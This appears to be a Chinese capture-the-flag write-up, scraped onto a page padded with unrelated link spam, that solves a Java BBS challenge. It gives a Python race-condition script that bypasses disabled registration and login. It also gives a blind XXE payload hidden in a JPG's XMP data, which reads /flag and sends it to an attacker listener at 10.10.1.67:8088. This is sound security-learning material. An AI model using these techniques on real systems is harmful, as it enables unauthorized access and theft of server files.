当前位置: 首页 > news >正文

视频运营管理网站百杭网络推广公司

视频运营管理网站,百杭网络推广公司,百度提问在线回答问题,莱芜金点子最新招工信息题目是一个BSS论坛#xff0c;如图 尝试注册发现注册未开放 题目给了jar包以及给了一个提示条件竞争绕过#xff0c;分析源码#xff1a; /register、/login接口都在com.my.bbs.controller.rest.BBSUserController 首先cacheUser是BBSUser类型的私有属性#xff0c;并且reg…题目是一个BSS论坛如图 尝试注册发现注册未开放 题目给了jar包以及给了一个提示条件竞争绕过分析源码 /register、/login接口都在com.my.bbs.controller.rest.BBSUserController 首先cacheUser是BBSUser类型的私有属性并且register.enablefalse默认不开启注册 Value(${register.enable}) private Boolean register_enable; private BBSUser cacheUser new BBSUser();在注册时cacheUser的LoginName、PasswordMd5属性都是先被set了值的然后是判断注册是否开启如果未开启register_enablefalse时LoginName、PasswordMd5即会被set为null置空。 在登录时登录成功的条件是cacheUser.loginName不为空并且传入loginName和password参数与cacheUser.loginName和cacheUser.passwordMd5相等。 所以登录这里就存在一个条件竞争绕过可以写个脚本一边不停的注册一边不停地登录在cache.loginName和cache.passwordMd5没有置空前成功登录获取Cookie。 登录的账号就用泄露的这个 import requests import threading import jsondef register(baseUrl):global loginSuccessFlagregisterUrl baseUrl /registerregisterData {loginName : adminqq.com, nickName : adminqq.com, password : mochu7777777, repass : mochu7777777}while not loginSuccessFlag:registerSession requests.session()registerResp registerSession.post(urlregisterUrl, dataregisterData)print(registerResp.text)def login(baseUrl):global loginSuccessFlagloginUrl baseUrl /loginloginData {loginName : adminqq.com, password : mochu7777777}while not loginSuccessFlag:loginSession requests.session()loginResp loginSession.post(urlloginUrl, dataloginData)resultCode json.loads(loginResp.text)[resultCode]if resultCode 200:print(loginResp.text)print(loginResp.headers)loginSuccessFlag Truebreakif __name__ __main__:baseUrl http://192.168.7.7:8888loginSuccessFlag Falsethreading.Thread(targetregister, args(baseUrl,)).start()threading.Thread(targetlogin, args(baseUrl,)).start()有时候可能要跑比较久条件竞争要耐心点 带上Cookie即可访问/userSet接口 登录成功后继续分析源码com.my.bbs.controller.common.UploadController中uploadFile接口 生成的文件名String newFileName SystemUtil.genFilenameByDate(file);方法在com.my.bbs.util.SystemUtil类中可以看到将上传的文件内容传给了com.my.bbs.util.FileUtil.getXmpMeta()处理。 很明显这是个处理图片中xmp数据的方法那么什么是图片XMP来看下GPT的解释 能够被解析猜测有可能就是考XXE了 继续跟进getXmpMeta()方法发现这里使用了xmpcore和metadata-extractor两个组件 然后把这个方法提取出来下个断点简单调试下分析下会经过哪些可能会造成XXE的地方 把ezbbs.jar包中的依赖解压出来然后加载进IDEA方便之后调试把两个组件的依赖也加进来 dependenciesdependencygroupIdcom.drewnoakes/groupIdartifactIdmetadata-extractor/artifactIdversion2.6.2/version/dependencydependencygroupIdcom.adobe.xmp/groupIdartifactIdxmpcore/artifactIdversion5.1.2/version/dependency/dependencies下个断点开始调过程很长大致就是从metadata-extractor跟到处理xml的xmlcore组件 跟进调试会来到com.adobe.xmp.impl.XMPMetaParser.parse()继续跟进查看处理xml数据的方法Document document parseXml(input, options); com.adobe.xmp.impl.parseXml() com.adobe.xmp.impl.parseXmlFromString com.adobe.xmp.impl.parseInputSource com.adobe.xmp.impl.XMPMetaParser 而这个factory就是下面这个 com.adobe.xmp.impl.createDocumentBuilderFactory() 到这里就很明显是DocumentBuilderFactory导致的XXE没有设置禁用外部实体。 明确了上传这里是会加载图片中的xmp数据解析造成XXE那么只需要找一张有xmp数据的图片这个PS随便生成一张JPG就行不要太大。并且注意不增加修改原来的字节数量只修改这一块原来的xmp数据且要保证原来结构完整。 没有回显的XXE引入一个远程实体开启HTTP监听把读取的数据外带出来 !DOCTYPE root [!ENTITY % remote SYSTEM http://10.10.1.67:8088/evil.xml %remote;]注意不要增加删除字节只在原来的基础上做修改并且后面补全完整的结构。 远程实体evil.xml !ENTITY % file SYSTEM file:///flag !ENTITY % evil !ENTITY #37; data SYSTEM http://10.10.1.67:8088/?flag%file; %evil; %data;然后将evil.jpg上传解析xmp数据触发引用这个远程实体加载读取/flag即可
http://wiki.neutronadmin.com/news/251423/

相关文章:

  • 高端品牌网站建设兴田德润在哪儿重庆市建设工程信息
  • 网站设计技术有哪些?wordpress连接pgsql
  • 网站的标题与关键词中美关系最新消息
  • 建设网站的具体步骤是什么百度助手app免费下载
  • 化妆品公司的网站建设的利益分析市场调研报告模板
  • 青海网站seo有哪些做排球比赛视频网站
  • 贵阳花溪建设村镇银行官方网站医院网站建设水平
  • dedecms学校网站模板怎么把文件放到网站的根目录
  • 网站seo怎么填写搜索引擎优化方法包括
  • 什么是优化资源配置福州外包seo公司
  • 科技网站配色方案公司变更地址需要多少钱
  • 单页网站开发实例下载注册号域名后 怎么建设网站
  • 阿里云做网站视频无法播放网站运营阶段
  • 扬州天达建设集团有限公司网站客户为什么需要建站服务
  • 正安县住房和城乡建设局网站wordpress转域名收费
  • 长沙网站定制济南旅游网页设计
  • 网站怎么做seo优化啊wordpress 怎么使用
  • 手机购物网站源码自己制作广告图片软件
  • 网站建设系网页设计跟网站建设的区别
  • 网站网站做代理网站建设 论文
  • 做网站的论坛网站怎样制作 优帮云
  • 郑州商城网站建设重庆城乡建设网站首页
  • 一个工厂做网站有用吗asp网站建设软件
  • 怎么给网站做seo优化德惠网站
  • 广州网站设计成功柚米怎么做才能让网站人气提升
  • 建设银行车贷网站南京哪里可以做网站
  • 怎么新增网站推广windows优化大师有必要安装吗
  • 莒县网站设计高安网站制作
  • wordpress做门户网站免费素材图库
  • 手机网站如何做优化手机网站制作公司